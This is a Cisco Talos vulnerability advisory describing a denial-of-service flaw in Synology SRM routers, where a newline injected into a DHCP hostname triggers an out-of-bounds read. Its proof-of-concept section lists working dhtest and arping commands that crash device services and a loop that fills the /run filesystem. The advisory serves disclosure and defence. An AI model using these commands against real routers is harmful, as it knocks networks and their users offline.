Talos Vulnerability Report

TALOS-2020-1051

Synology SRM DHCP monitor hostname parsing Denial of Service Vulnerability

May 6, 2020
CVE Number

CVE-2019-11823

Summary

An exploitable denial of service vulnerability exists in the DHCP monitor's hostname parsing functionality of Synology SRM 1.2.3 MR2200ac 8017 and 1.2.3 RT2600ac 8017. A specially crafted network request can cause an out-of-bounds read resulting in a denial of service. An attacker can send a malicious packet to trigger this vulnerability.

Tested Versions

Synology SRM 1.2.3 MR2200ac 8017

Synology SRM 1.2.3 RT2600ac 8017

Product URLs

https://www.synology.com/en-global/srm

CVSSv3 Score

7.4 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')

Details

Synology Router Manager (SRM) is a Linux-based operating system for Synology Routers developed by Synology.

SRM keeps track of DHCP requests and populates a file in /var/run/device.dhcp. This file is used mainly by two processes: synodeviced and synomonitordhcpd, via the shared code which resides in the libsynodevice.so library.

DHCP requests are logged via iptables using ulogd. The iptables rule filters DHCP packets and sends them to the "NFLOG" target:

Chain ULOGD_DHCP_INPUT (2 references)
 pkts bytes target     prot opt in     out     source               destination
    0     0 NFLOG      udp  --  *      *       0.0.0.0/0            0.0.0.0/0            udp spt:67 dpt:68 nflog-group 4505
    2   646 NFLOG      udp  --  *      *       0.0.0.0/0            0.0.0.0/0            udp spt:68 dpt:67 nflog-group 4505

While ulogd is configured (/usr/syno/etc/ulogd/ulogd-dhcp.conf) as such:

######################################################################
# GLOBAL OPTIONS
######################################################################
[global]
logfile="/var/log/ulogd-dhcp.log"

######################################################################
# PLUGIN OPTIONS
######################################################################
plugin="/usr/lib/ulogd/ulogd_inppkt_NFLOG.so"
plugin="/usr/lib/ulogd/ulogd_raw2packet_BASE.so"
plugin="/usr/lib/ulogd/ulogd_output_SYNODL.so"

stack=log1:NFLOG,base1:BASE,synodl1:SYNODL

[log1]
group=4505
netlink_socket_buffer_size=217088
netlink_socket_buffer_maxsize=1085440
netlink_qthreshold=1
netlink_qtimeout=100

[synodl1]
lib="/lib/libsynodevice.so"
sym_interp="UlogdInterp"
# sym_start="UlogdStart"
# sym_stop="UlogdStop"

Simply put, ulogd grabs a packet from "NFLOG" and passes it as a parameter to the function UlogdInterp in libsynodevice.so.

void UlogdInterp(ulogd_keyset *param_1)
{
  undefined4 *puVar1;
  int iVar2;
  Bytes bytes_dhcp [8];
  DhcpInfo dhcp_info;
  uint32_t dhcp0;
  uint32_t dhcp1;
  uint32_t dhcp2;
  PacketInfo packetInfo;

  PacketInfo(&packetInfo,param_1);                                                    // [1]
  dhcp_info.str[0] = (basic_string *)&DAT_000b3604;
  dhcp_info.str[1] = dhcp_info.str[0];
  dhcp_info.str[2] = dhcp_info.str[0];
  if (packetInfo.raw_pkt == (char *)0x0) goto LAB_000853d4;
  if (packetInfo.oob_family == 2) {  // [2]
    if (packetInfo.ip_protocol == 0x11) {
      if (packetInfo.udp_dport == 68) {
        if (packetInfo.udp_sport == 0x43) goto LAB_00085554;
      }
      else {
        if ((packetInfo.udp_dport == 67) && (packetInfo.udp_sport == 68)) {
LAB_00085554:
          syslog(6,"%s:%d Deal with dhcpv4 packet","lib/ulogd_dhcp/parser.cpp",0x2b);
          Bytes(bytes_dhcp,(uchar *)(packetInfo.raw_pkt + packetInfo.ip_ihl + 8),
                packetInfo.raw_pktlen - (packetInfo.ip_ihl + 8));
          Dhcpv4((Dhcpv4 *)&dhcp0,bytes_dhcp);
          assign((basic_string *)&dhcp_info,(Dhcpv4 *)&dhcp0);
          assign((basic_string *)(dhcp_info.str + 1),&dhcp1);
          assign((basic_string *)(dhcp_info.str + 2),&dhcp2);
          ...
        }
      }
    }
  }
  else {
    if ((((packetInfo.oob_family == 10) && (packetInfo.ip_protocol == 0x11)) &&       // [2]
        (packetInfo.udp_dport == 546)) && (packetInfo.udp_sport == 547)) {
      syslog(6,"%s:%d Deal with dhcpv6 packet","lib/ulogd_dhcp/parser.cpp",0x33);
      Bytes(bytes_dhcp,(uchar *)(packetInfo.raw_pkt + packetInfo.ip6_ihl + 8),
            packetInfo.raw_pktlen - (packetInfo.ip6_ihl + 8));
      DhcpAckv6((DhcpAckv6 *)&dhcp0,bytes_dhcp);
      assign((basic_string *)&dhcp_info,&dhcp0);
      assign((basic_string *)(dhcp_info.str + 1),&dhcp1);
      assign((basic_string *)(dhcp_info.str + 2),&dhcp2);
      ...
    }
  }
  if ((*(int *)(dhcp_info.str[0] + -0xc) != 0) &&
     ((*(int *)(dhcp_info.str[1] + -0xc) != 0 || (*(int *)(dhcp_info.str[2] + -0xc) != 0)))) {
    WriteAndUpdateRecords(&dhcp_info);                                               // [3]
  }
  ...

At [1], UlogdInterp fills a PacketInfo structure, extracting from the data sent by ulogd. Then, that structure is parsed into a Dhcpv4 or DhcpAckv6 object, depending on the protocol family.
Finally, WriteAndUpdateRecords is called, passing the dhcp object. This function parses and writes the device.dhcp file. In order to do that, it calls FUN_00088bd0, which parses just one line of the file and fills a DhcpInfo structure.

basic_string * FUN_00088bd0(DhcpInfo *dst,basic_string *line) {
  uint seconds_now;
  int *piVar1;
  uint seconds_entry;
  undefined4 *puVar2;
  int *piVar3;
  char *seconds_str;
  int *piVar4;
  int iVar5;
  char *tab;
  int *splitted;
  int *local_30;

  seconds_now = gettime_wrap();
  basic_string((char *)&tab,(allocator *)"\t");
  Split((dhcpmonitor *)&splitted,line,(basic_string *)&tab);   // [4]
  seconds_str = (char *)splitted[3];                           // [5]
  piVar1 = __errno_location();
  *piVar1 = 0;
  seconds_entry = strtol(seconds_str,&tab,10);                 // [6]
  ...

At [4], the line is split using "\t" as delimiter. At [5], a reference to the fourth element of the array is saved, without checking if it's within the bounds of the array itself. At [6] the out of bounds string pointer is dereferenced, possibly resulting in a crash.

Since there are no constraints in WriteAndUpdateRecords and its parent functions, regarding the data contained in the hostname of the DHCP packets, an attacker can exploit this vulnerability by injecting a "\n" character in the device.dhcp file, creating an invalid DHCP line containing less than 3 tab characters. Any subsequent DHCP packet will make the strtol at [6] perform an out-of-bounds read.

The logic flow described above will be triggered by the synomonitordhcpd service (which executes ulogd).
There is however an additional path that triggers the same crash, which happens in synodeviced, specifically in the GetRecordByIp function. In fact, one of the tasks of synodeviced is to discover new devices in the network. One of the means this is done is via an ARP scanner. Every time a new ARP request is detected, synodeviced tries to find the hostname for a known IP address, if existing. This triggers a set of calls that eventually reach the vulnerable strtol above.

See the backtrace for synodeviced:

Thread 1 "synodeviced" hit Breakpoint 1, 0xb5bcec3c in strtol ()
   from target:/lib/libc.so.6
(gdb) bt
#0  0xb5bcec3c in strtol () from target:/lib/libc.so.6
#1  0xb6ebcc68 in ?? () from target:/lib/libsynodevice.so.5.2
#2  0xb6ebcffc in syno::dhcpmonitor::GetRecordByIp(std::string const&) ()
   from target:/lib/libsynodevice.so.5.2
#3  0xb6ebc634 in syno::dhcpmonitor::FindNameByIp(std::string const&) ()
   from target:/lib/libsynodevice.so.5.2
#4  0xb6e9df5c in syno::device::ArpScanner::GetSniffedHostNameByIP(std::string const&, std::string&) () from target:/lib/libsynodevice.so.5.2
#5  0xb6ea17d4 in syno::device::ArpScanner::AppendIPRecordClientList(std::string const&, bool) () from target:/lib/libsynodevice.so.5.2
#6  0xb6ea2d2c in syno::device::ArpScanner::GetIPRecordTable(bool) ()
   from target:/lib/libsynodevice.so.5.2
#7  0xb6ea3c04 in syno::device::ArpScanner::GetData() ()
   from target:/lib/libsynodevice.so.5.2
#8  0xb6ebfcf0 in syno::device::module::DeviceListModule::GetArpScannerDevList() () from target:/lib/libsynodevice.so.5.2
#9  0xb6ec137c in syno::device::module::DeviceListModule::GetAllScannerData(Json::Value&) () from target:/lib/libsynodevice.so.5.2
#10 0xb6ec161c in syno::device::module::DeviceListModule::GetDataByScannerType(Json::Value const&, Json::Value&) () from target:/lib/libsynodevice.so.5.2
#11 0xb6ec1e64 in syno::device::module::DeviceListModule::ProcessRequest(Json::Value const&, Json::Value&) () from target:/lib/libsynodevice.so.5.2
#12 0xb6ec2e04 in syno::device::module::ModuleManager::ProcessRequest(syno::device::module::MODULE_TYPE, Json::Value const&, Json::Value&) ()
   from target:/lib/libsynodevice.so.5.2
#13 0xb6ec57f4 in net_get_device_list_data(_GObject*, char*, char**, _GError**) () from target:/lib/libsynodevice.so.5.2
#14 0xb6ec52dc in dbus_glib_marshal_device_BOOLEAN__STRING_POINTER_POINTER ()
   from target:/lib/libsynodevice.so.5.2
#15 0xb6e1da48 in ?? () from target:/lib/libdbus-glib-1.so.2
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) c
Continuing.

Thread 1 "synodeviced" received signal SIGSEGV, Segmentation fault.
0xb5bcedcc in ?? () from target:/lib/libc.so.6
(gdb)

While both synodeviced and synomonitordhcpd will restart, they can be repeatedly taken down, until the limit in the init configuration is reached, at which point the process won't restart anymore and a manual reboot is required.
Moreover, while these two services (especially synodeviced) are down, many functionalities that require knowledge of the network devices won't work anymore. This can be checked from the web interface in "network center - traffic control - general": all devices will be shown as offline.

Finally, another avenue of exploitation of this newline injection allows for growing the device.dhcp file arbitrarily. Because of the way WriteAndUpdateRecords selects the records, it's possible to use the same source MAC address to add multiple lines in the file, just by having a client make multiple requests. This would completely fill the /run mount, which is a "tmpfs" mount with 233 MB of available space. Once this mountpoint gets filled, the device may start to behave incorrectly, requiring a reboot.

Exploit Proof of Concept

This proof-of-concept crashes the libsynodevice.so library:

Create an invalid dhcp entry
$ dhtest -i eth0 -h "$(echo -en '\nB')"

Crash `synomonitordhcpd`
$ dhtest -i eth0 -h k

Crash `synodeviced`
$ arping -A -I eth0 -c1 192.168.1.159

While this proof-of-concept fills the /run directory:

while true; do dhtest -S 192.168.1.1 -i eth0 -h "$(echo -en "A\t\t9\n1\tB")"; done

By manually crafting this packet (e.g. via tcpreplay), an attacker could fill the /run directory in about 2 hours.

Timeline

2020-04-16 - Vendor Disclosure
2020-04-17 - Vendor confirmed issue fixed 2019-09-24
2020-05-04 - Vendor assigned CVE-2019-11823 & updated security advisory
2020-05-06 - Public Release

Credit

Discovered by a member of Cisco Talos.